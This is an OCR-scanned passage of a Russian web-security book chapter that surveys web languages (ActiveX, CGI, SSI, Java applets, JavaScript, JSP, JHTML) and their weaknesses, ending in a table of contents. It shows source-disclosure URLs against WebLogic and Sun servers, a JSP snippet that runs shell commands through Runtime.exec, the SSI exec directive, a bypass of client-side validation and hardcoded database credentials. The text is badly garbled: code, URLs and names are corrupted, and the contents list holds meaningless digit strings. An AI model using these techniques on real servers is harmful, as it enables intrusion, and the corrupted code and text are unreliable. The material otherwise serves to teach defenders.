<EKBED SRC~saiBpl6・M尸 NIDTB・"】60" B1IGHT-#144* AUTOPUY-^true*
COUTROLLZR^false* PLUGIN8PACE»*httpi //m. exanple ・ com/quickti®e/download/*>
</enbed>
</OBJlCT>
В атрибуте CLASSID дескриптора <object> указан идентификатор элемента управления ActiveX, содержащегося в файле movie-plugin• cab. В данном случае атрибут CODEBASE дескриптора <object> не нужен, однако если он используется, то в нем должно быть указано местоположение откомпилированного файла .САВ. При использовании элементов ActiveX возникает две проблемы обеспечения безопасности.
Элементы управления ActiveX могут выполнять сложные функции, включая чтение /запись файлов или выполнение кода в локальной системе. Взломщик может создать опасный элемент ActiveX, который при просмотре его Web-узла может выполнить некоторые фунвдии на пользовательском компьютере, например прочитать файлы на жестком диске и отправить их взломщиБсу.
При использовании элемента ActiveX обычно требуется указать местоположение файла .САВ, так что взломщик, скорее всего, сможет обнаружить менее защищенный раздел файловой системы Web-узла и использовать его дпя атаки.
Для тех разработчиков, которые осознают важность обеспечения безопасности, можно порекомендовать офаничить или даже полностью отказаться от использования элементов управления ActiveX на Web-узлах.
Технология ASP: заключительные замечания
Несмотря на то что технология ASP и ее возможности были рассмотрены лишь вкратце, этого вполне достаточно дпя получения общего представления об области ее применения и основных особенностях. Для обеспечения безопасности приложений, реализованных на основе технологии ASP, можно воспользоваться рекомендациями, приведенными выше в разделе, посвященном платформе ColdFusion. Они сводятся к следующему.
Удалите файлы примеров из каталогов, созданных по умолчанию в процессе установки.
Контролируйте значения полей ввода информации.
Однако, как станет ясно из последующих глав, эти рекомендации являются лишь начальными мерами по решению проблемы уязвимости ASP.
CGI
Расширения файлов: .cgi, .pl
Интерфейс CGI (Common Gateway Interface) является одним из старейших и наиболее зрелых стандартов Internet, определяющих механизм обмена информацией между Web- сервером, программой (например, на языке Perl) и Web-броузером, а также используемый при этом формат данных. Объединение механизма CGI с такими языками, как Perl, позволило создать одну из первых платформ передачи динамического содержимого в Web.
В отличие от технологий ASP или PHP, CGI не является языком, а скорее представляет собой набор рекомендаций, применяемых в других языках.①актически для создания CG1-программ можно использовать различные языки, в том числе:
Perl;
C/C++;
Java;
языки сценариев командных оболочек sh, csh nksh (Unix);
Visual Basic (Windows);
AppleScript (MacOS).
Чтобы поближе познакомиться с кодом CGI, рассмотрим простую программу Perl/CGI, которая выводит строку Hello World! в окне Web-броузера.
# Программа Perl, демоистрируюцая общие оринцилм CGI
} Выводит строку "Hello World!" в окне броузера
print a*Content-type:text/html\n\nM;
print 4*<htalxbr><head><title>npocTaA программа CGI</titlex/head><br>#;
print *<hl><Bello World I </hlxbrxbr></html>*,;
По существу, это программа на языке Perl. Первый оператор print с аргументом Content-type;text/html\n\n необходимо использовать из-за того, что механизм CGI не обеспечивает автоматической передачи заголовков HTTP для каждого запроса. Именно для этого используется сценарий Perl. Заголовок Content-type обеспечивает вывод строки Hello World I на экран. Без него будет выведено сообщение об ошибке.
The specified CGI application misbehaved by not
returning a complete set of HTTP headers (Приложение CGI неверно работает, не возвращая полного набора заголовков HTTP)
Второй оператор print просто формирует файл HTML с дескрипторами <html>, <head> и <title>. Последний оператор, print, выводит текст Hello World! в броузере.
Переменные окружения
Обсузздение CGI было бы неполным без рассмотрения переменных окружения. Как описывается в главе 3, в запросе HTTP содержатся стандартные заголовки, которые могут использоваться в качестве переменных сценария CGI. Они обеспечивают передачу информации между формой в Web-броузере и удаленной CGI-программой, а также позволяют лучше интерпретировать параметры броузера. Список стандартных переменных окружения CGI приведен в табл. 1.2.
Этот список далеко не полный, однако он дает общее представление о том, сколь широки и разнообразны возможности реализации атак на Web-сервер. Более подробную информацию о значениях переменной HTTP_USER_AGHNT можно найти по адресу: http: //www. siteware, ch/webrosourcea/useragents/db. htal.
Замечание. Перечень всех переменных PHP можно получить с помощью функции phpinfo(). Например, если взломщик разместит файл на Web-сервере, на котором запущен модуль PHP, то, вставив единственную строку в этот файл, он может получить список всех переменных системы.
<?>phplnfoO?>: £ …
Серверные включения (SSI): HTML и SHTML
Расширения файлов: ・sht叫 .shtm, .stm
①айлы SHTML принято относить R средствам CGI, поскольку обычно в них используются серверные включения SSI, обеспечивающие возможность обработки данных на сервере. Технология SHTML считается "прародителем” средств обработки информации на сервере, поскольку она использовалась еще на заре развития Web, но все еще применяется в настоящее время (хотя достаточно редко). Серверные включения, как и фрагменты кода
на всех рассмотренных выше языках, размещаются в документе HTML, а соответствующие команды обрабатываются приложением, размещенным на Web-сервере. Команды вьшол- няются, а полученные результаты передаются броузеру. Вот простой пример серверного включения, после обработки которого возвращается дата в формате GMT:
<ht«l>
<body>
<1-—。vaL"MTE_GMT"—>
</body>
</html>
Таблица 1.2. Переменные окружения CGI
Переменная
Описание
GATEWAY」NTERFACE
Содержит номер версии CGI, поддерживаемой на сервере. Формат: CGI/версая (например, CGI/1.1)
SERVER_NAME
Содержит DNS屮 w сервера, имя узла или IP-адрес сервера, на котором запущена программа CGI
SERVER_SOFTWARE
Содержит имя и версию программного обеспечена запущенного на сервере. Формат: имя/версия (например, Server: Microsoft-IIS/4.0)
QUERY_STRING
В этой переменной размещается вся строка запроса, указанная в URL за символом ?. Например, если в сценарий :est.cgi передаются два параметра, http:/ Zwww・ example • com/test • cgi?f name>Stuart&lnaiBe«McClure, то в переменной QUERY_STRING будет храниться строка fnane-StuartslnaMe^McClure
PATHJNFO
Содержит дополнительную информацию, указанную в URL, которая может понадобиться на сервере для обработки формы. Лучшим примером использования этой переменной является случай, когда CGI-программе нужно передать информацию о местоположении файла
SERVER_PROTOCOL
Содержит имя и версию используемого протокола. Формат: протокол/версия (например, НТТР/1 1)
SERVER_PORT
Содержит номер порта сервера. Обычно используется ТСР-порт 80
REQUEST_METHOD
Метод HTTP, используемый для передачи информации, обычно GET, PUT, POST или HEAD. Для получения более подробной информации о методах HTTP читайте главу 3
CONTENT^TIPE
Хранит тип содержимого, соответствующего передаваемым данным, например CONTENT_TTPE:text/html
COKTENT_LENGTH
Определяет длину содержимого (POST или PUT), передаваемого в клиентском запросе. Обычно это значение измеряется в байтах
SCRIPTJiAME
Содержит виртуальный путь к запускаемому сценарию
REMOTEJJSER
Аутентифицирует удаленного пользователя
AUTH—TYPE
Определяет зависящий от протокола метод аутентификации пользователя
PATH_TRANSIATED
Хранит преобразованное значение PATHJNFO. Эта переменная используется для преобразования виртуальных каталогов в физические
REMOTE_HOST
Хранит имя удаленного узла, с которого поступил запрос
REMOTE^ADDR
Хранит IP-адрес удаленной системы, отправившей запрос
REMOTE_ IDENT
Если сервер поддерживает специфика屮q RFC 931, то в переменной REMOTEJDENT хранится имя удаленного пользователя, полученное сервером. Обычно этот пользователь обладает ограниченными правами на регистрацию
Переменная
Описание
НГГР_АССЕРТ или
Хранит типы MIME, поддерживаемые клиентом, например text/plain,
ACCEPT
text/html, ww/mime и application/html
HTTP_USER_AGENT
Хранит название производителя и версию клиентского Web-броузера
Признаком использования серверных включений является наличие символов <! — и ■->. В предыдущем примере директива var использовалась для отображения значения переменной DATE_GMT. Применяя технологию SSI, можно выполнять различные функции, в том числе приведенные в табл. 1.3.
Серверные включения и сервер IIS компании Microsoft
По умолчанию сервер IIS не разрешает использовать команды CMD директивы ЕХЕС. Для того чтобы изменить этот режим, добавьте в системный реестр следующий параметр, а затем перезагрузите систему.
РазделHKEY-LOCAL_MACHINE\SYSTZK\CurrentControlSet\Services\W3SVC\Parajneter8
Имя параметра SSIEnableCmdDirective
ТипDWORD
Значение1
Замечание. Если в системном реестре в этом параметре содержится значение 1, немедленно удалите его (естественно, при условии, что он не требуется).
Хотя в настоящее время серверные включения используются в Web-приложениях достаточно редко, нужно проявлять бдительность. Соблюдайте осторожность при использовании преимуществ этой технологии, поскольку коварный хакер может быть следующим, кто ими воспользуется.
Таблица 1.3. Директивы SSI
ДирективаФункция
iexec var=При использовании директив SSI можно получить доступ ко многим перемен-
<переменная>ным, в том числе:
DATEJOCAL (содержит дату и время сервера);
HTTP REFERER (определяет местонахождение пользователя);
DATE_GMT (содержит дату и время по Гринвичу);
REMOTE_ADDR или REMOTE_HOST (содержит исходный IP-адрес или имя узла соответственно);
DOCUMENT_NAXE или DOCUMEirr_URL (содержит имя Web-страницы); HTTP_USER AGENT (содержит имя Web-броузера)
«ехес сго£1・<«мюнаа> Позволяет выполнять на удаленной системе произвольные команды. Обычно команда cmd выполняется только в системах Unix, однако известно, что в Windows ее тоже можно использовать. Очевидно, что такая возможность представляет серьезный риск нарушения безопасности. Поэтому в большинстве Web-серверов приложений ее по умолчанию отключают. Тем не менее возможность выполнения произвольных команд стала причиной многих ус
пешных взломов
Директива
Функция
lexec сд1*<имя-файла>
Запускает программу CGI. Зачастую эту директиву используют при вызове других файлов для отображения текста
"size file"
<юм-фама>
Возвращает размер файла <имя-фамла>
Iflastmod file=
““••файла〉
Возвращает дату последнего изменения файла <ммя*файла>
# include И1е«<имя- фама>
Включает текст из файла<ммя-файла>
♦ include virtual-
Эту команду нужно использовать для обращения к файлу . shtml, находяще-
</имя-файла>
муся в другом каталоге
tcooent
Защищает данные, содержащиеся после этой команды, поскольку такая строка сервером игнорируется. В этом разделе документа можно найти интересную информацию
Java
Расширения файлов: отсутствуют
Язык Java в начале 1990-х годов был создан Джеймсом Гослингом (James Gosling), сотрудником компании Sun Microsystems, и первоначально назывался Oak. Без сомнения, язык Java представляет собой одну из наиболее обещающих и разрекламированных технологий последнего десятилетия. Этот язык изначально планировалось использовать в бытовых электронных устройствах. Это поистине достойная цель для языка программирования, претендующего на главную роль в информационном сообществе. Даже в настоящее время Java олицетворяет почти недостижимую универсальную переносимость и функциональность. Популярность языка Java на современном рынке достаточно высока, однако до его повсеместного распространения еще довольно далеко.
Java — это объектно - ориентированный язык, в котором все элементы программы (т.е. переменные, функции, подпрограммы или само приложение) считаются объектами. В настоящее время с использованием Java разрабатываются многие Web- приложения. Однако их исходный код нельзя получить так же просто, как при использовании других языков программирования для Web. Это связано с тем, что исходный код Java компилируется в файлы .class, в которых содержится байт-код.
Ниже рассматриваются вопросы использования клиентской и серверной версии Java.
Использование Java в клиентской части приложения
Эта версия Java предназначена для использования в клиентской системе и броузере конечного пользователя. Существует две клиентские версии Java — для создания аплетов и сценариев.
Аплеты
Для загрузки и запуска аплетов Java с помощью клиентского Web-броузера используются дескрипторы <applet>, внедренные в код HTML. Один из основных рисков, связанных с использованием аплетов, заключается в том, что, хотя они и скомпилированы в байт-код, типичный класс Java можно загрузить отдельно и декомпилировать. Это позволит взломщику просмотреть исходный код Java, провести его анализ и найти уязвимые места. Эти вопросы будут обсуждаться в данной главе, а также на протяжении последующих глав книги.
Аплеты Java можно разрабатывать в любом текстовом файле, как и при использовании многих других языков, рассмотренных выше в главе. Простой аплет можно создать в течение нескольких минут. Например, для создания аплета, выводящего на экран строку "Hello World!'* достаточно скопировать приведенный ниже код в текстовый файл, а затем присвоить ему любое имя с расширением . java.
import java.awt.Graphics; import java.applet.Applet;
public class HellWorldApplet extends Applet {, , ,
public void paint (Graphics g)
{
g.dravString(*Hello, Worldl*r 5, 30);
} }
Необходимо отметить следующее:
оператор import эквивалентен директиве linclude языка C/C++ в том смысле, что обеспечивает включение всех требующихся компилятору классов;
класс HelloWorldApplet расширяет класс java. applet .Applet, задающий базовые свойства аплета;
класс Graphics применяется для вывода графики на экран.
Теперь исходный файл нужно скомпилировать в байт-код с помощью интерпретатора Java (http: // java. sun• com). После компиляции формируется файл класса Java (HelloWorldApplet.class). С этого момента его можно запускать из HTML-кода Web- страниц с помощью дескриптора <applet>.
<APPLET
code-BelloWorld.class
height,200
width=300>
</APPLET>
Когда аплет Java загружается в память, для каждого метода класса создается отдельный поток. Затем байт-код выполняется процессором. Байт-код — это последовательность инструкций аналогичная ассемблерному или двоичному коду, в которой каждая инструкция состоит из однобайтового кода операции (действия) и нулевого или большего количества операндов. Из-за использования байт-кода аплеты Java не пересылаются по Internet в виде обычного текста. К сожалению, подобная маскировка на мешает взломщику декомпилировать байт-код и получить исходный код Java. Имея исходный код, взломщик может подробно ознакомиться с работой приложения, в том числе получить любые пароли, используемые для соединения с серверами и доступа к базам данных.
Из многих существующих сегодня декомпиляторов Java наиболее точным является JAD (Java Decompiler), разработанный Павлом Кузнецовым (Pavel Kouznetsov). Ядро
JAD написано на C/C++, что обеспечивает высоБсую скорость его работы. Более подробно декомпилятор JAD рассматривается в последующих главах.
В табл. 1.4 представлено подробное описание дескриптора <applet>.
Таблица 1.4. Полное описание дескриптора <applet>
Дескриптор/ атрибут
Описание
<APPLET>
Открывающий дескриптор
CODEBASE =
(Необязательный. ! Каталог, в котором содержатся файлы .class
ARCHIVE =
(Необязательный.) Архив, в котором описаны предварительно загружаемые классы
CODE 二
(Обязательный.) Имя файла .class
или
Или
OBJECT =
(Обязательный, если CODE не используется.) Преобразованное представление аплета
ALT
=(Необязательный.) Текст, отображаемый при неудачном запуске
NAME
二(Необязательный.) Имя экземпляра
WIDTH
=(Обязательный.) Начальная ширина аплета в пикселях
HEIGHT
=(Обязательный.) Начальная высота аплета в пикселях
ALIGN
=(Необязательный.) Тип выравнивания аплета на HTML-странице
VSPACE
=(Необязательный.) Расстояние от области отображения аплета до верхней границы родительского окна в пикселях
HSPACE
=(Необязательный.) Расстояние от области отображения аплета до боковой границы родительского окна в пикселях
<PARAM NAME
=имя VALUE = значение» (Необязательный.) Имя и значение, передаваемые аллету
</APPLET>
Закрывающий дескриптор
Java -подобные языки сценариев
Языки сценариев Java практически полностью используются в клиентской: системе. •№ основное преимущество заклюиается: в хорошей производительности, а не в обеспечении безопасности, поскольку взломщик может без особых проблем их изменить и, таким образом, использовать дпя достижения своих злонамеренных целей.
JavaScript
Это не компилируемый, а интерпретируемый язык сценариев, который изначально был разработан компанией Netscape. Однако между языками JavaScript и Java нет ни- Бсакой связи, Бфоме схожести названий. Java является компилируемым, объеБсгно- ориентированным и достаточно сложным языком программирования, в то время как JavaScript представляет собой объектный: язык разработки сценариев, предназначен - ный дпя быстрого создания Web -приложений. Хотя он и предоставляет некоторые базовые возможности объектно - ориентированного подхода, он гораздо ближе к языкам сценариев, например Perl. Язык JavaScript полезно использовать дпя решения простых задач, например дпя проверки правильности заполнения полей формы, добавления кода HTML по требованию, выполнения пользовательских вычислений.
Вот простой пример использования JavaScript, когда после щелчка на кнопке на ЭБСране отображается сообщение:
<html>
<head>
<title>DpocTofi пример использования JavaScript</title>
sc ript lang'jage=1,.TavaScripf*>
!— сокрытие кода JavaScript от броузеров, его не поддерживающих function popup ()
{
alert (**Hello and Welcone world—);
}
// Завершение сокрытия —>
</script>
</head>
<hl alignecenter>Moft пример JavaScript</hl>
<div align=center>
<form>
<input type«*button* valuG»"Hello World Me!" onclick»*popup()">
</for»>
Этот пример хорошо подходит для более тесного знакомства с языком и способом его использования. В следующем примере показано, как можно повысить безопасность программы, написанной на языке JavaScript.
Из-за того, что сценарии JavaScript выполняются клиентским броузером, взломщик может обойти процедуру проверки введенной информации и воспользоваться нестандартными данными, чтобы нарушить работу приложения или, что еще хуже, заставить его раскрыть конфиденциальную информацию. В следующем примере сценарий JavaScript используется для проверки корректности введенных данных и для обеспечения ввода корректного возраста в поле age формы. Код JavaScript ограничивает возможность ввода возраста диапазоном 1-110 Любое значение за пределами этого диапазона считается некорректным.
<htal>
<head>
<title>DpoBepxfl данных, введенных в попе ^opxii</title> < sc ript >
1— снова скрываем код JavaScript function validate input () { 一
if (document, test form. age. value <1)
{
alert (1 Малаяпоштка омолодиться. Пожалуйста, введитевозрастг);
return false;
} else
{
if (docunent.testfom. age. value > 110)
(.
alert ('Ви долгожитель? Пожатие та, введите НАСТОЯЩЙ возраст1) return false;
» else
{
alert ('Спасибо. Вак возраст Ч doconent. testforn.age. value); return true;
/ / Завершение сокрытия -- >
</script>
</head>
<body>
<foroi Mee«t«6t,0E action«#scrlpt/input. plR nethod・post onSobnit・*K・turn validate input ()*> <Ь>Оожалуйста, введате Ваш возраст:</b>
<input type=text пале气ge size=3 naxlength«3xbrxbr>
<input type«submit value-*Subidt Age">
</fom>
</body>
〃ht«l>
Зная, что код JavaScript обрабатывается клиентским броузером, можно сохранить файл HTML, полученный от Web-сервера, и удалить строки, используемые для контроля вводимых значений. В результате функция validate ^input () локального HTML- файла будет всегда возвращать значение true.
function validate input(} {
return true;
Для завершения модификации программы, нужно изменить значение атрибута action
action-*scripts/input.pl*
и задать в нем адрес удаленного сценария
actioDstf http ://vwv.exaaple.coe/tcrlpt8/input .plw:
<form name*t eat form actlon^http: / / wv. example. con/scripts/ input. pl* aethod^post onSubeit«*return validateeinput()•>
После этого можно открыть локальный файл, ввести любое значение в поле age и щелкнуть на кнопке Submit Age. В результате нарушения работы сервера может и не произойти, однако полученные результаты в любом случае далеки от идеальных.
Jscript
Язык Jscript — это попытка компании Microsoft разработать аналог JavaScript для Web-броузера Internet Explorer. Как и JavaScript, Jscript является интерпретируемым, объектно-ориентированным языком сценариев. Однако в отличие от JavaScript, язык Jscript предоставляет гораздо более широкие возможности взаимодействия с элементами ActiveX, чем VBScript. Кроме того, Jscript не может выполнять чтение/запись файлов и не предназначен для создания автономных приложений.
Сценарии Jscript используются практически так же, как и сценарии JavaScript: с использованием дескриптора < script>. Следующий фрагмент кода выводит в окне броузера строку "Hello World!”:
<BTML><flEAD>
<SCRIPT LANGUMEiJ,cripL>
<1— снова скрываем function hello() { var nyetring = "Hello World I";
docunent.write(mystring);
}
// Завершение сокрытия —>
</SCRIPT> 「
</H8AD><BODY><hl>
<SCRIPT> h・ll。(”
</SCRIPT>
</bl></BODYx/HTML>
Более подробную информацию о языке Jscript можно найти по адресу: http:// www. asp-help.cos/getstarted/ne/j script/jstutor. asp.
Использование Java на сервере
В настоящее время серверные компоненты Java чрезвычайно широко используются в Internet и поэтому являются заветной целью взломщиков со всего мира. Как правило, серверные компоненты реализуются на основе таких технологий сервлетов, как серверные страницы Java (Java Server Pages — JSP) и JavaHTML (JHTML).
Серверные страницы Java (JSP)
Расширения файлов: . jsp
В современном мире электронной коммерции лишь немногие технологии могут поспорить с доминирующей ролью страниц JSP. Управление такими страницами осуществляется с использованием серверов приложений Java (Java Application Server — JAS), которые обрабатывают серверные страницы и преобразуют их в код HTML, передаваемый клиентским броузерам. Как будет продемонстрировано в главе 12, страницы JSP являются мощным механизмом, который можно использовать для разработки сложных Web-узлов электронной коммерции. Однако их мощью можно воспользоваться и в качестве разрушительной силы.
Технологию JSP можно рассматривать как версию Java для разработки сценариев, с помощью которой код Java можно внедрить в HTML-файл. Страницы JSP компилируются: как сервлеты Java, запускаемые на сервере. Как и при использовании страниц ASP, внедряя код Java в HTML-файлы, можно создавать динамическое содержимое. При этом синтаксис JSP оказывается не очень выразительным, поскольку во многом он лишь реализует интерфейс с ядром Java на сервере. По сути, этот синтаксис определен компанией Sun Microsystems в одном двухстраничном файле PDF, который можно найти по адресу: http:// java.sun.cam/products/Jsp/syntax.pdf.
На рынке имеются различные серверы JAS. Однако среди них можно выделить ,,болыпую пятерку**: WebLogic от компании BEA, Java Web Server от компании Sun, JRun от Allaire, WebSphere от IBM и JDeveloper от Oracle. Все вместе они охватывают 95% используемых в электронной коммерции серверов приложений Java.
Взаимодействие с базой данных
Это одна из наиболее значительных возможностей JSP, благодаря которой динамическое содержимое можно формировать на основе информации из базы данных. При этом можно воспользоваться различными вариантами соединения, включая JDBC, мост JDBC-ODBC, драйвер JDBC OCI, тонкий драйвер JDBC от Oracle и драйвер my SQL JDBC. Вот несколько фрагментов кода, в которых демонстрируются примеры подключения к базе данных:
廳/ МОСТ JDBC-ODBC
String url*wjdbc:odbc:Autos*;
Class.forKame(*sun.jdbc.odbc•JdbcOdbcDriver*);
Connection conn = DriverManager.getConnectionCurl, "sa", ^guessne*1);
// Oracle JDBC OCI
String url•“jdbc:otacle:oci7:?Autosn;
Class .for Name (#oracle .jdbc.driver.OracleDriver**};
Connection conn 二 DriverManager.getConnection(urlf "sa", .gueseme");
// Oracle JDBC Thin
String url-4* jdbc: odbc: th in j^myserver: 1251: orclw;
Class•forName (#oracle.jdbc.driver•OracleDriver");
Connection conn = DriverlUnager.getConnection(urlf "sa", "guessme*);
//mySQL JDBC
String ur>** jdbcjnysql: //Autos*;
Class, forNaae(Msun. jdbc.nyeql.Driver*);
Connection conn = DriverMAndger.getConnection(url);
Чтобы познакомиться с синтаксисом JSP поближе, рассмотрим пример взаимодействия с базой данных.
<"page import*4*java.sql.•*%>
<1
try
Class.forKame(*sun.jdbc.odbc.JdbcOdbcDriver*);
//"Autos" - это имя DSN, используемое для подключения
String url«* jdbc:odbc:Autos*;
//Соединение
Connection conn 二 DriverN&na^er.getConnection(ur 11 #sa", "gw0"
// Создание оператора JDBC
Statement stnt 二 conn. creates tat eaent () j
String query«*SELECT * FROM Altos";
// Выполнение запроса
ResultSet result 二 stnt.execute(query);
printResults(result);
conn.closeO;
}
// обработка исключения
catch(Exception e) {)
// Печать сообцекия
out. println (^Запрос выполнен ycne*日c"); l>
В этих фрагментах кода нужно хорошо разобраться и разработчикам Web- приложений, и специалистам по безопасности. Это позволит обеспечить безопасность Web -приложений, поскольку взаимодействие с базами данных является основой технологии JSP.
Вскрытие исходного кода
Исходный код файла JSP можно получить, принудительно задав обработку исходного кода в режиме "как есть** (“AS-IS”). Другими словами, следует сообщить серверу приложений о том, что исходный код JSP нужно отобразить в виде незашифрован- ного текста.
Чувствительность к регистру
Один из хакерских приемов сводится к использованию символов различного регистра в расширении .JSP.
http: //ww.exarople.com/login.JsP
http://vw.example.con/login.jfP
http://www.example.com/login.Jsp
С использованием такого синтаксиса взломщик мог получить исходный код JSP при обращении к ранним версиям сервера Web Logic от компании ВЕА.
Принудительная установка обработчиков, используемых по умолчанию
Другой тип атаки на сервер WebLogic — принудительная установка специального обработчика файла и получение исходного кода этого файла.
http: / Zww. example. сов/ fi le/login ・ j sp
При таком подходе взломщик сможет увидеть исходный код файла login, jsp и, скорее всего, получить имя пользователя и пароль. Риск нарушения безопасности
возникает из-за того, что в конфигурационном файле сервера Web Logic по умолчанию содержится следующая строка:
Регистрами сервлета по умолчанию
,
Виртуальное имя сервлета, используемого по умопчавкю,
I если не найден подходящий сервлет
veblogic .http. defaultServlet-file
Эти используемые по умолчанию параметры позволяют взломщику просмотреть исходный код файлов JSP.
Выполнение произвольных команд
При выполнении определенных условий взломщик может ,,заставить,* сервер Java Web Server компании Sun выполнить обычный файл (evil-file.html) как файл JSP. В таком файле может содержаться дескриптор JSP, подобный следующему:
а
String s=null, t»#* try
{
Process p=Rantime.^etRuntiiue ().exec ("cud/с dir");
BufferedReader el « new BufferedReader(netr XnputStxeMftatdMr (p.gBtInpatStreu()));
vhile( (8Ml.rMdLiM() )lnoll) {t4*e;}}CAtcb(I0Exceptione) {c.printStackTrace();) l>
<t«t l>
В данном случае запускается команда dir, которая в системе Windows позволяет получить содержимое текущего каталога. Это безобидная команда, но взломщик может запустить любую команду с правами учетной записи Administrator или root. Команда <l»t%> используется для вывода результатов команды dir.
Чтобы вынудить обработчик сервлетов выполнять команды, содержащиеся в текстовом файле, взломщик может воспользоваться URL, аналогичным следующему:
http t//www • example. con/servlet/coi ・ вип ・ server, http, paqecoopile .jap. runtime ・ J spServltt/ evilofile.htBl
Для получения дополнительной информации о технологии JSP обратитесь к разделу FAQ Web-узла компании Sun Microsystems (http://java.sun.com/products/jsp/ faq.html).
JHTML
Расширения файлов: . jhtnl
Это стандарт JavaSoft компании Sun Microsystems, в котором определен механизм включения кода Java в файл HTML. Как и все описанные выше серверные языки, JHTML имеет собственные дескрипторы, которые обрабатываются перед передачей выходных данных клиентскому броузеру.
Код JHTML очень похож на HTML, однако в нем используется дополнительный дескриптор <java>. Чтобы проанализировать риски нарушения безопасности, нужно поближе познакомиться с кодом JHTML. Рассмотрим несколько фрагментов кода JHTML.
<java>
out.print (^Java-generatedHello World");
</java>
В этом фрагменте строка Java-generated Hello World отображается в броузере. Ниже приведен еще один фрагмент кода JHTML, в котором под управлением сервера
WebLogic с использованием драйвера JDBC OCI компании Oracle устанавливается соединение с базой данных.
<java type=class><java type=class>static static static staticstatic static static staticfinal final final finalfinal final final finalString )dbcClass 二 #weblogic. jdbc. ocl. Dr Iver1*;String jdbcURL 二 #jdbcsveblogicsoraclaigoldengate*;String user二 ”a";String password 二"guessae*;String )dbcClass 二 #weblogic. jdbc. ocl. Dr Iver1*;String jdbcURL 二 #jdbcsveblogicsoraclaigoldengate*;String user二 ”a";String password 二"guessae*;
<java type=class>
<java type=class>
static static static static
static static static static
final final final final
final final final final
String )dbcClass 二 #weblogic. jdbc. ocl. Dr Iver1*;
String jdbcURL 二 #jdbcsveblogicsoraclaigoldengate*;
String user二 ”a";
String password 二"guessae*;
String )dbcClass 二 #weblogic. jdbc. ocl. Dr Iver1*;
String jdbcURL 二 #jdbcsveblogicsoraclaigoldengate*;
String user二 ”a";
String password 二"guessae*;
protected Connection getCon() { Connection conn = null; try {
Class. forName (jdbcClass} jievlnstance ();
conn * DriverManager.getConnection(jdbcUKL, user, password);
},
catch (Exception f) {
} return conn;
.{
</java>
Язык JHTML обеспечивает простоту страниц JSP. Одаако при его использовании возникают риски нарушения безопасности, в том числе связанные с получением исходного кода.
Получение исходного кода
Принудительная установка обработчиков, используемых по умолчанию
Сервер Java Web Server компании Sun оказался столь же уязвимым к проблеме принудительного задания обработчика по умолчанию, как и сервер WebLogic. Он также разрешает доступ к файлам JHTML. Взломщик может просто задать обработчик /servlet/file и получить исходный код любого файла JHTML.
http://www.exanple.coni/8ervlet/file/loginjhtmlhttp://www・ example.com/servlet/invoker/login.jhtml http: //www.example.coni/servlet/ssi/lagin.jhtrrl .
http://wwv.exafflple.con/servlet/681nclude/login.jhtnl
Решение проблемы заключается в настройке псевдонимов сервлетов таким образом, чтобы вместо предоставления исходного кода файла выдавалось сообщение об ошибке, /servlet/file error /servlet/invoker error /servlet/ssi error / servlet / ssinclude error
Чувствительность к регистру
Сервер WebLogic от компании BEA также оказался уязвимым к использованию в расширении файлов символов разного регистра. Этот изъян позволяет получить исходный код. Для атаки используется тот же синтаксис.
http: //vw. example. coei/login.JbUnL http://ww. example • cca/login. jhtoL http://vwv.example.coa/login.Jhtfil
Таким образом, языку JHTML присущи те же недостатки, что и другим серверным языкам. Однако изменение конфигурации, установка необходимых модулей обновления и использование механизма контроля входных данных позволяют существенно снизить большинство рисков, связанных с обеспечением безопасности.
Резюме
В атаке могут быть задействованы практически все языки Web, поэтому первым шагом в осмыслении потенциальных атак является знакомство с самими языками и основными принципами их использования. Очевидно, что невозможно разобраться во всех или хотя бы в некоторых аспектах этих языков, прочитав лишь одну главу. Однако этого вполне достаточно для знакомства с их основными особенностями. Кроме того, в процессе оценки уровня безопасности нужно уметь классифицировать используемые языки программирования.
В этой главе кратко рассматривались потенциальные риски нарушения безопасности, связанные с использованием некоторых языков программирования в Web. В последующих главах описываются другие бреши в подсистеме зашиты, а также соответствующие контрмеры, которые позволят избежать многих проблем.
ГЛАВА2
Web-серверы и серверы баз данных
Переход от заблуждения к истине — это событие исключительное и прекрасное.
Виктор Гюго (1802-1885), французский поэт, писатель-романист,
драматург, эссеист
Глава 2. Web-серверы и серверы баз данных
Введение
Web-серверы
Сервер Apache
Internet Information Server компании Microsoft
Серверы баз данных
Microsoft SQL Server
Oracle
Резюме
Глава 3. Выбор товаров и обработка платежей
Введение
Эволюция торгового зала
ЭлеБсгронная коммерция
Подсистемы выбора товаров
Назначение и время жизни электронной торговой тележки
Сбор, анализ и сравнение выбранных товаров
Отслеживание общей стоимости
Изменение решения
Оформление покупки
Реализация электронной тележки
Каталог товаров
Управление сеансами
Интерфейс с базой данных
Взаимодействие с платежной подсистемой
Примеры неудачно реализованных подсистем выбора товаров
Электронная тележка Carello
Электронная тележка DCShop
Электронная тележка от Hassan Consulting
Некоторые другие электронные тележки
Обработка платежей
Окончательное оформление заказа
Форма оплаты
Проверка подлинности и защита от мошенничества
Выполнение заказа и оформление торгового чека
Общие сведения о подсистеме обработки платежей
Страница подтверждения заказа
Интерфейс системы обработки платежей финансового учреждения
Интерфейс базы данных транзакций
Пример взаимодействия с системой обработки платежей финансового учреждения
Проблемы реализации подсистемы обработки платежей
Интеграция
Временная информация
Протокол SSL
Хранение профилей пользователей
PayPal — электронные платежи, доступные каждому Резюме
Глава 4. Хакинг протоколов HTTP и HTITS
Введение
Протоколы Web
HTTP
HTTPS (HTTP поверх SSL)
Резюме
Глава 5. URL: оружие хакера в Web
Введение
Структура URL
U RL и передача параметров
Кодирование URL
Метасимволы
Использование в строке URL специальных символов
Стандарт кодирования Unicode
Неправильное использование кода URL
Изъян Unicode
Изъян двойного или избыточного декодирования
592929292"9494.95处勿0 处%g%g979797979999001000310303030404051060711'071141*'-广内222.24711 11 11 1± 1± 1± 11 1± 11 1± ^1 1± 11 и и и 11 и 1± 1± 1± 11 1± 11 и 11592929292"9494.95处勿0 处%g%g979797979999001000310303030404051060711'071141*'-广内222.24711 11 11 1± 1± 1± 11 1± 11 1± ^1 1± 11 и и и 11 и 1± 1± 1± 11 1± 11 и 11Формы HTML
592929292"9494.95处勿0 处%g%g979797979999001000310303030404051060711'071141*'-广内222.247
11 11 11 1± 1± 1± 11 1± 11 1± ^1 1± 11 и и и 11 и 1± 1± 1± 11 1± 11 и 11
592929292"9494.95处勿0 处%g%g979797979999001000310303030404051060711'071141*'-广内222.247
11 11 11 1± 1± 1± 11 1± 11 1± ^1 1± 11 и и и 11 и 1± 1± 1± 11 1± 11 и 11
Анатомия формы HTML
Элементы ввода данных
Передача параметров с помощью методов GET и POST
Резюме
Часть II. Секреты URL
Случай из жизни: исследование подступов к корпоративным сокровищам
Глава 6. За кулисами Web-сервера
Введение
Компоненты Web -приложений
Внешний Web-сервер
Среда выполнения Web -приложения
